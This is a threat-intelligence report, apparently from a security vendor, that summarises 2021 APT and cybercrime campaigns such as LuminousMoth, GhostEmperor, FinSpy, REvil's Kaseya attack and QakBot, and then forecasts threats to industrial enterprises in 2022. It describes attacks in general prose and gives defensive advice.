    Last March, we reported a WildPressure campaign targeting industrial-related entities in the Middle East. While tracking this threat actor in spring 2021, we discovered a newer version. It contains the C++ Milum Trojan, a corresponding VBScript variant and a set of modules that include an orchestrator and three plugins. This confirms our previous assumption that there were more last-stagers besides the C++ ones.

    Another language used by WildPressure is Python. The PyInstaller module for Windows contains a script named “Guard”. Interestingly, this malware was developed for both Windows and macOS operating systems. The coding style, overall design and C2 communication protocol is quite recognizable across all three programming languages used by the authors.

    WildPressure used both virtual private servers (VPS) and compromised servers in its infrastructure, most of which were WordPress websites.

    We have very limited visibility for the samples described in our report, but our telemetry suggests that the targets in this campaign were also from the oil and gas industry.

    You can view our report on the new version here, together with a video presentation of our findings.

    LuminousMoth: sweeping attacks for the chosen few

    We recently uncovered a large-scale and highly active attack against targets in Southeast Asia by a threat actor that we call LuminousMoth. The campaign dates back to October last year and was still ongoing at the time we published our public report in July. Most of the early sightings were in Myanmar, but it seems the threat actor is now much more active in the Philippines. Targets include high-profile organizations: namely, government entities located both within those countries and abroad.

    Most APT threats carefully select their targets and tailor the infection vectors, implants and payloads to the victims’ identities or environment. It’s not often we observe a large-scale attack by APT threat actors – they usually avoid such attacks because they are too ‘noisy’ and risk drawing attention to the campaign. LuminousMoth is an exception. We observed a high number of infections; although we think the campaign was aimed at a few targets of interest.

    The attackers obtain initial access to a system by sending a spear-phishing email to the victim containing a Dropbox download link. The link leads to a RAR archive that masquerades as a Word document. The archive contains two malicious DLL libraries as well as two legitimate executables that side-load the DLL files. We found multiple archives like this with file names of government entities linked to Myanmar.

    We also observed a second infection vector that comes into play after the first one has successfully finished. The malware tries to spread to other hosts on the network by infecting USB drives.

    In addition to the malicious DLLs, the attackers also deployed a signed, but fake version of the popular application Zoom on some infected systems, enabling them to exfiltrate data.

    The threat actor also deploys an additional tool that accesses a victim’s Gmail session by stealing cookies from the Chrome browser.

    Infrastructure ties as well as shared TTPs allude to a possible connection between LuminousMoth and the HoneyMyte threat group, which has been seen targeting the same region using similar tools in the past.

    Targeted attacks exploiting CVE-2021-40444

    On September 7, Microsoft reported a zero-day vulnerability (CVE-2021-40444) that could allow an attacker to execute code remotely on vulnerable computers. The vulnerability is in MSHTML, the Internet Explorer engine. Even though few people use IE nowadays, some programs use its engine to handle web content – in particular, Microsoft Office applications.

    We have seen targeted attacks exploiting the vulnerability to target companies in research and development, the energy sector and other major industries, banking, the medical technology sector, as well as telecoms and IT.

    To exploit the vulnerability, attackers embed a special object in a Microsoft Office document containing a URL for a malicious script. If the victim opens the document, Microsoft Office downloads the script and runs it using the MSHTML engine. Then the script can use ActiveX controls to perform malicious actions on the victim’s computer.

    Tomiris backdoor linked to SolarWinds

    The SolarWinds incident last December stood out because of the extreme carefulness of the attackers and the high-profile nature of their victims. The evidence suggests that the threat actor behind the attack, DarkHalo (aka Nobelium), had spent six months inside OrionIT’s networks to perfect their attack. The following timeline sums up the different steps of the campaign.

    In June, more than six months after DarkHalo had gone dark, we observed the DNS hijacking of multiple government zones of a CIS member state that allowed the attacker to redirect traffic from government mail servers to computers under their control – probably achieved by obtaining credentials to the control panel of the victims’ registrar. When victims tried to access their corporate mail, they were redirected to a fake copy of the web interface.

    After this, they were tricked into downloading previously unknown malware. The backdoor, dubbed Tomiris, bears a number of similarities to the second-stage malware, Sunshuttle (aka GoldMax), used by DarkHalo last year. However, there are also a number of overlaps between Tomiris and Kazuar, a backdoor that has been linked to the Turla APT threat actor. None of the similarities is enough to link Tomiris and Sunshuttle with sufficient confidence. However, taken together they suggest the possibility of common authorship or shared development practices.

    You can read our analysis here.


    Earlier this year, while investigating the rise of attacks against Exchange servers, we noticed a recurring cluster of activity that appeared in several distinct compromised networks. We attribute the activity to a previously unknown threat actor that we have called GhostEmperor. This cluster stood out because it used a formerly unknown Windows kernel mode rootkit that we dubbed Demodex; and a sophisticated multi-stage malware framework aimed at providing remote control over the attacked servers.

    The rootkit is used to hide the user mode malware’s artefacts from investigators and security solutions, while demonstrating an interesting loading scheme involving the kernel mode component of an open-source project named Cheat Engine to bypass the Windows Driver Signature Enforcement mechanism.

    We identified multiple attack vectors that triggered an infection chain leading to the execution of the malware in memory. The majority of GhostEmperor infections were deployed on public-facing servers, as many of the malicious artefacts were installed by the httpd.exe Apache server process, the w3wp.exe IIS Windows server process, or the oc4j.jar Oracle server process. This means that the attackers probably abused vulnerabilities in the web applications running on those systems, allowing them to drop and execute their files.

    Although infections often start with a BAT file, in some cases the known infection chain was preceded by an earlier stage: a malicious DLL that was side-loaded by wdichost.exe, a legitimate Microsoft command line utility (originally called MpCmdRun.exe). The side-loaded DLL then proceeds to decode and load an additional executable called license.rtf. Unfortunately, we did not manage to retrieve this executable, but we saw that the consecutive actions of loading it included the creation and execution of GhostEmperor scripts by wdichost.exe.

    This toolset was in use from as early as July 2020, mainly targeting Southeast Asian entities, including government agencies and telecoms companies.

    FinSpy: analysis of current capabilities

    At the end of September, at the Kaspersky Security Analyst Summit, our researchers provided an overview of FinSpy, an infamous surveillance toolset that several NGOs have repeatedly reported being used against journalists, political dissidents and human rights activists. Our analysis included not only the Windows version of FinSpy, but also Linux and macOS versions, which share the same internal structure and features.

    After 2018, we observed falling detection rates for FinSpy for Windows. However, it never actually went away – it was simply using various first-stage implants to hide its activities. We started detecting some suspicious backdoored installer packages (including TeamViewer, VLC Media Player and WinRAR); then in the middle of 2019 we found a host that served these installers along with FinSpy Mobile implants for Android.

    The authors have gone to great lengths to make FinSpy inaccessible to security researchers – it seems they have put as much work into anti-analysis and obfuscation as they have into the Trojan itself. First, the samples are protected with multiple layers of evasion tactics.

    Moreover, once the Trojan has been installed, it is heavily camouflaged using four complex, custom-made obfuscators.

    Apart from Trojanized installers, we also observed infections involving use of a UEFI (Unified Extensible Firmware Interface) and MBR (Master Boot Record) bootkit. While the MBR infection has been known since at least 2014, details on the UEFI bootkit were publicly revealed for the first time in our private report on FinSpy.

    The user of a smartphone or tablet can be infected through a link in a text message. In some cases (for example, if the victim’s iPhone has not been not jailbroken), the attacker may need physical access to the device.

    Other malware REvil attack on MSPs and their customers worldwide

    An attack perpetrated by the REvil Ransomware-as-a-Service gang (aka Sodinokibi) targeting Managed Service Providers (MSPs) and their clients was discovered on July 2.

    The attackers identified and exploited a zero-day vulnerability in the Kaseya Virtual System/Server Administrator (VSA) platform. The VSA software, used by Kaseya customers to remotely monitor and manage software and network infrastructure, is supplied either as a cloud service or via on-premises VSA servers.

    The exploit involved deploying a malicious dropper via a PowerShell script. The script disabled Microsoft Defender features and then used the certutil.exe utility to decode a malicious executable (agent.exe) that dropped an older version of Microsoft Defender, along with the REvil ransomware packed into a malicious library. That library was then loaded by the legitimate MsMpEng.exe by utilizing the DLL side-loading technique.

    The attack is estimated to have resulted in the encryption of files belonging to around 60 Kaseya customers using the on-premises version of the platform. Many of them were MSPs who use VSA to manage the networks of other businesses. This MSP connection gave REvil access to those businesses, and Kaseya estimated that around 1,500 downstream businesses were affected.

    Using our Threat Intelligence service, we observed more than 5,000 attack attempts in 22 countries by the time our analysis of the attack was published.

    What a [Print]Nightmare

    Early in July, Microsoft published an alert about vulnerabilities in the Windows Print Spooler service. The vulnerabilities, CVE-2021-1675 and CVE-2021-34527 (aka PrintNightmare), can be used by an attacker with a regular user account to take control of a vulnerable server or client machine that runs the Windows Print Spooler service. This service is enabled by default on all Windows clients and servers, including domain controllers, making both vulnerabilities potentially very dangerous.

    Moreover, owing to a misunderstanding between teams of researchers, a proof-of-concept (PoC) exploit for PrintNightmare was published online. The researchers involved believed that Microsoft’s Patch Tuesday release in June had already solved the problem, so they shared their work with the expert community. However, while Microsoft had published a patch for CVE-2021-1675, the PrintNightmare vulnerability remained unpatched until July. The PoC was quickly removed, but not before it had been copied multiple times.

    CVE-2021-1675 is a privilege elevation vulnerability, allowing an attacker with low access privileges to craft and use a malicious DLL file to run an exploit and gain higher privileges. However, that is only possible if the attacker already has direct access to the vulnerable computer in question.

    CVE-2021-34527 is significantly more dangerous because it is a remote code execution (RCE) vulnerability, which means it allows remote injection of DLLs.

    You can find a more detailed technical description of both vulnerabilities here.

    Grandoreiro and Melcoz arrests

    In July, the Spanish Ministry of the Interior announced the arrest of 16 people connected to the Grandoreiro and Melcoz (aka Mekotio) cybercrime groups. Both groups are originally from Brazil and form part of the Tetrade umbrella, operating for a few years now in Latin America and Western Europe.

    The Grandoreiro banking Trojan malware family initially started its operations in Brazil and then expanded its operations to other Latin American countries and then to Western Europe. The group has regularly improved its techniques; and, based on our analysis of the group’s campaigns, it operates as a malware-as-a-service (MaaS) project. Our telemetry shows that, since January 2020, Grandoreiro has mainly attacked victims in Brazil, Mexico, Spain, Portugal and Turkey.

    Melcoz had been active in Brazil since at least 2018, before expanding overseas. We observed the group attacking assets in Chile in 2018 and, more recently, in Mexico: it’s likely that there are victims in other countries too, as some of the targeted banks have international operations. As a rule, the malware uses AutoIt or VBS scripts, added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions. The malware steals passwords from browsers and from the device’s memory, providing remote access to capture internet banking access. It also includes a Bitcoin wallet stealing module. Our telemetry confirms that, since January 2020, Melcoz has been actively targeting Brazil, Chile and Spain, among other countries.

    Since both malware families are from Brazil, the individuals arrested in Spain are just operators. So, it’s likely that the creators of Grandoreiro and Melcoz will continue to develop new malware techniques and recruit new members in their countries of interest.

    Gamers beware

    Earlier this year, we discovered an ad in an underground forum for a piece of malware dubbed BloodyStealer by its creators. The malware is designed to steal passwords, cookies, bank card details, browser auto-fill data, device information, screenshots, desktop and client uTorrent files, Bethesda, Epic Games, GOG, Origin, Steam, Telegram, and VimeWorld client sessions and logs.

    The authors of the malware, which has hit users in Europe, Latin America and the Asia-Pacific region, have adopted a MaaS distribution model, meaning that anyone can buy it for the modest price of around $10 per month (roughly $40 for a “lifetime license”).

    On top of its theft functions, the malware includes tools to thwart analysis. It sends stolen information as a ZIP archive to the C2 (command-and-control) server, which is protected against DDoS (distributed denial of service) attacks. The cybercriminals use either the (quite basic) control panel or Telegram to obtain the data, including gamer accounts.

    BloodyStealer is just one of many tools available on the dark web for stealing gamer accounts. Moreover, underground forums often feature ads offering to post a malicious link on a popular website or selling tools to generate phishing pages automatically. Using these tools, cybercriminals can collect, and then try to monetize, a huge amount of credentials. All kinds of offers related to gamer accounts can be found on the dark web.

    So-called logs are among the most popular. These are databases containing reams of data for logging into accounts. In their ads, attackers can specify the types of data, the geography of users, the period over which the logs were collected and other details. For example, in the screenshot below, an underground forum member offers an archive with 65,600 records, of which 9,000 are linked to users from the US, and 5,000 to residents of India, Turkey and Canada. The entire archive costs $150 (that’s about 0.2 cents per record).

    Cybercriminals can also use compromised gaming accounts to launder money, distribute phishing links and conduct other illegal business.

    You can read more about gaming threats, including BloodyStealer, here and here.

    Triada Trojan in WhatsApp mod

    Not everyone is happy with the official WhatsApp app, turning instead to modified WhatsApp clients for features that the WhatsApp developers haven’t yet implemented in the official version. The creators of these mods often embed ads in them. However, their use of third-party ad modules can provide a mechanism for malicious code to be slipped into the app unnoticed.

    This happened recently with FMWhatsApp, a popular WhatsApp mod. In version 16.80.0 the developers used a third-party ad module that includes the Triada Trojan (detected by Kaspersky’s mobile antivirus as Trojan.AndroidOS.Triada.ef). This Trojan performs an intermediary function. First, it collects data about the user’s device, and then, depending on the information, it downloads one of several other Trojans. You can find a description of the functions that these other Trojans perform in our analysis of the infected FMWhatsApp mod.

    Qakbot banking Trojan

    QakBot (aka QBot, QuackBot and Pinkslipbot) is a banking Trojan that was first discovered in 2007, and has been continually maintained and developed since then. It is now one of the leading banking Trojans around the globe. Its main purpose is to steal banking credentials (e.g., logins, passwords, etc.), but it has also acquired functionality allowing it to spy on financial operations, spread itself and install ransomware in order to maximize revenue from compromised organizations.

    The Trojan also includes the ability to log keystrokes, backdoor functionality, and techniques to evade detection. The latter includes virtual environment detection, regular self-updates and cryptor/packer changes. QakBot also tries to protect itself from being analyzed and debugged by experts and automated tools. Another interesting piece of functionality is the ability to steal emails: these are later used by the attackers to send targeted emails to the victims, with the information obtained used to lure victims into opening those emails.

    QakBot is known to infect its victims mainly via spam campaigns. In some cases, the emails are delivered with Microsoft Office documents or password-protected archives with documents attached. The documents contain macros and victims are prompted to open the attachments with claims that they contain important information (e.g., an invoice). In some cases, the emails contain links to web pages distributing malicious documents.

    However, there is another infection vector that involves a malicious QakBot payload being transferred to the victim’s machine via other malware on the compromised machine. The initial infection vectors may vary depending on what the threat actors believe has the best chance of success for the targeted organization(s). It’s known that various threat actors perform reconnaissance of target organizations beforehand to decide which infection vector is most suitable.

    We analyzed statistics on QakBot attacks collected from our Kaspersky Security Network (KSN), where anonymized data voluntarily provided by Kaspersky users is accumulated and processed. In the first seven months of 2021 our products detected 181,869 attempts to download or run QakBot. This number is lower than the detection number from January to July 2020, though the number of users affected grew by 65% – from 10,493 in the previous year to 17,316 this year.

    You can read our full analysis here.

    2021. november 23.

    Threats to ICS and industrial enterprises in 2022

    Continuing trends

    In recent years, we have observed various trends in the changing threat landscape for industrial enterprises, most of which have been evolving for some time. We can say with high confidence that many of these trends will not only continue, but gain new traction in the coming year.

    Further evolution of cyberthreats as a response to infosec tools and measures

    Improved corporate cybersecurity and the introduction of ever more tools and protection measures are causing cyberthreats to evolve. Here are some of the evolution areas worth paying attention to:

    • Reduced number of targets per individual attack

      Individual attacks as part of cybercriminal campaigns are already targeting ever fewer victims. For instance, we see a new trend emerging in the criminal ecosystem of spyware-based authentication data theft, with each individual attack being directed at a very small number of targets (from single digits to several dozen). The trend is snowballing so rapidly that in some regions of the world up to 20% of all ICS computers on which we block spyware are attacked using this tactic. Such attacks are likely to comprise an even larger portion of the threat landscape next year. And the tactic is likely to spread to other types of threats as well.

    • Reducing the life cycle of malware

      To avoid detection, more and more cybercriminals are adopting the strategy of frequently upgrading malware in their chosen family. They use malware at its peak effectiveness to break through the defenses of security solutions, and then switch to a new build as soon as the current one becomes readily detectable. For some types of threats (for example, spyware again), the lifetime of each build is shortening, and in many cases does not exceed 3–4 weeks (often even less). The evolution of modern MaaS platforms makes it much easier for malware operators globally to use this strategy. Next year we are sure to encounter it even more frequently in various threat scenarios. Combined with the downward trend in the number of victims per individual attack, the widespread use of this strategy will lead to an even greater variety of malware, thus posing a major challenge for security solution developers.

    • Modern APTs: now more persistent than advanced

      To some extent, a similar trend can be traced in the tactics of many APTs. The “P” quality (persistent) in the abbreviation APT has become less dependent on “A” (advanced). We have long seen how a persistent presence in the victim’s infrastructure is maintained through the doggedness and diligence of the operators, and that expanding and regularly upgrading the toolkit is becoming an alternative to finding new technical solutions and developing costly complex frameworks designed to remain undetected for as long as possible. In all likelihood, this strategy will be traced increasingly often in APT campaigns.

    • Minimizing the use of malicious infrastructure

      In the fight against protection tools, attackers naturally seek to reduce the detectable malicious footprint of their actions. This is particularly reflected in attempts to minimize the use of malicious infrastructure. For example, we observed how C&C servers in some APTs had a very short lifespan, operating for no more than a couple of hours during the attack phase for which they were intended.

      And sometimes attackers manage to refrain from using not only any malicious, but also suspicious and untrusted infrastructure. For example, a popular tactic in spyware attacks is now to send phishing e-mails from compromised corporate mail accounts of a partner organization of the intended victim. In this case, well-crafted messages are practically indistinguishable from legitimate ones and virtually undetectable with automated tools.

      In our investigations of АPT-related incidents at industrial enterprises, we have come across traces of how attackers, in parallel to the main thrust of the attack, have simultaneously tried to gain access from the infrastructure of a compromised industrial facility to other organizations or resources of the parent company, government agencies and the like; most likely in the hope that such attempts will go unnoticed.

      There is no doubt that the coming year will see more frequent use of such tactics by attackers in various categories.

    Actions of various attacker categories

    The debate about which threats pose the most danger to industrial enterprises often revolves around comparisons between APTs and cybercrime. And plans to improve information security and introduce new protection tools and measures are predicated, in some way, on the chosen adversary model. At the same time, bear in mind that perceptions of the interests, capabilities and modus operandi of some categories of attackers can become outdated, and therefore require constant refreshing. Let’s look at the relevant trends that are likely to continue or intensify next year.

    • APT and cybercriminal techniques, tactics and even strategies are becoming increasingly alike and may require similar security measures

      Indeed, many APT and cybercriminal operations are sometimes difficult to distinguish, even for experts. For example,

      • Technically flawed APTs and “sophisticated” cybercriminal attacks no longer surprise anyone. In particular, we have seen more than a few poorly crafted phishing e-mails full of clearly visible blunders in campaigns associated with well-known APTs. And many are the times that we have come across near-flawless e-mails in targeted cybercriminal campaigns.
      • Similarly, APTs masquerading as cybercrime, and attacks by cybercriminals pretending to be an APT, have lost their wow factor.
      • Without a doubt, we will see in the APT arsenal the continued use not only of commercial tools, but of MaaS infrastructure and delivery methods as a means of initial penetration.
    • APT and cybercriminal lists of targets and potential victims can often include the same organizations

      Of the many industrial companies out there, APTs are likely to focus on:

      • The military-industrial complex and aerospace industry — most likely for military and technological espionage purposes
      • Energy, transport and utilities — in an attempt to gain a foothold in the critical infrastructure of a “potential adversary” just in case, and to use it to develop other attacks (see examples above)
      • Knowledge-based industries — primarily for industrial espionage purposes

      Cybercriminals will continue to attack everyone they can reach, and in the vast majority of cases will monetize attacks using the same tried-and-tested methods:

      • Direct theft of funds by substituting bank details — through BEC tactics or access to the organization’s financial systems
      • Extortion and ransomwaring of those able and willing to pay up
      • Reselling of stolen information to fellow cybercriminals, competitors of the victim and other interested parties
    • The direct financial harm caused by cybercrime is larger, but the damage from APTs is harder to predict and may be greater in the long term

      Judging by the events of the past year, in terms of direct financial harm, the actions of cybercriminals might seem far more significant to industrial organizations than APTs. In 2021, for instance, we have seen many industries brought to a standstill and tens of millions of dollars paid out to ransomwarers. Meanwhile, there has been only one known case of significant financial damage from an APT over the entire year — and that happened when the attackers decided to masquerade as extortionists.

      That said, APT attacks can have a delayed negative effect that is very difficult to assess in advance (for example, years later a rival company might create a new product based on stolen data).

    • Don’t forget about cyberhooligans and hacktivists

      In 2021, cyberhooligans and hacktivists made global headlines on at least three occasions, demonstrating that vital industrial infrastructure is often poorly protected and ripe for the picking. The question of whether everything possible has been done to prevent such cases next year, we invite readers to ponder for themselves.

    • Extortion

      As for perhaps the main trend of the outgoing year, despite the rhetoric of politicians and the frenzied actions of governments, the flywheel of extortion is spinning and cannot easily be stopped. The attacks are set to continue, including on industrial enterprises. Cybercriminals will protect themselves better and hedge the risks. The additional outlays will naturally be covered by victims, in the form of higher ransoms.

    Current attack vectors

    The following cybercriminal tactics and techniques will no doubt be used actively in the coming year.

    • Phishing is the top initial penetration tool for targeted (and not-so-targeted) attacks. As shown by the past year:
      • Even bad phishing, we are sorry to say, works pretty well. Train your employees to read all incoming mail with a critical eye. Spelling and grammar mistakes, poor phrasing, incorrect names of companies and officials, strange topics and unusual requests are all signs of poorly executed phishing. Any employee, even without IT security expertise, can recognize them
      • High-quality spear phishing, regrettably, is almost guaranteed to work. In every company, there is bound to be someone who blindly opens an attachment, follows a link, clicks a button or even makes contact with the attackers and unwittingly helps them to launch a malicious payload in the system
      • Cybercriminals of various stripes have mastered the art of spear phishing without using malicious infrastructure and of phishing using only trusted infrastructure (as covered above). Moreover, the latter is the most dangerous and hard-to-detect method. Unfortunately, it will doubtless claim many victims in the year to come.
    • Known vulnerabilities in internet-facing hardware are also sure to remain a popular penetration vector. Update firewalls and SSL VPN gateways in good time.
    • Zero-day vulnerabilities in OS components and popular IT products will remain a relatively rare tool in advanced APTs, while unknown security holes in less common (and therefore probably less-well tested) products will be actively exploited by cybercriminals.
    • Compromise of domain name registrars and certification authorities, attacks on suppliers

      Regarding these “advanced” tactics, last year we again saw compromise attacks on domain name registrars (access to the victim’s web control panel at the bare minimum) and certification authorities, as well as new attack scenarios aimed at suppliers. Such threats have the potential to go undetected for a long time, allowing attackers to carry out sustained operations. Those of them who can afford such vectors will certainly not abandon them.

      So, when planning protection means and measures for the coming year, keep an eye on the security not only of your own infrastructure, but of third-party services you use. When choosing suppliers of products for your IT/OT systems, stamp your own cybersecurity requirements on both the products and the suppliers themselves. And when collaborating with business partners, be aware of the threats that their security weaknesses could pose to you.

    Building on the success of 2021

    Cybercriminals have definitely made significant strides in 2021: the list of high-profile ransomware attacks on industrial enterprises this year is probably longer than for all previous years combined. APT campaigns targeting industrial organizations have also been keeping researchers very busy.

    Note that many of the achievements of cybercriminals this year will be used as a stepping stone into the next.

    • Stolen data and compromised IT systems

      According to our telemetry and analysis of information found on the dark web, cybercriminals in 2021 compromised at least thousands of industrial organizations worldwide. We think that their total number vastly exceeds the number of organizations hit by ransomware or targeted by APTs. Some of those compromised might get lucky and simply fall off the cybercriminal radar. But not all. And for some companies, the consequences of a security compromise in 2021 will catch up with them only in 2022.

    • Threats to OT

      Disturbingly, we also found signs of compromise in many organizations on computers directly related to ICS. So the damage in some cases may not be limited to encryption of IT systems and data theft in the office network.

    • P stands for perseverance

      As noted above, the letter P in the abbreviation APT should be understood not only as persistent (as in continuous), but also in the sense of persevering (as in relentless). So organizations that have already been attacked should be on their guard: it is very likely (with some APTs, even “certain”) that they will be targeted again, possibly more than once.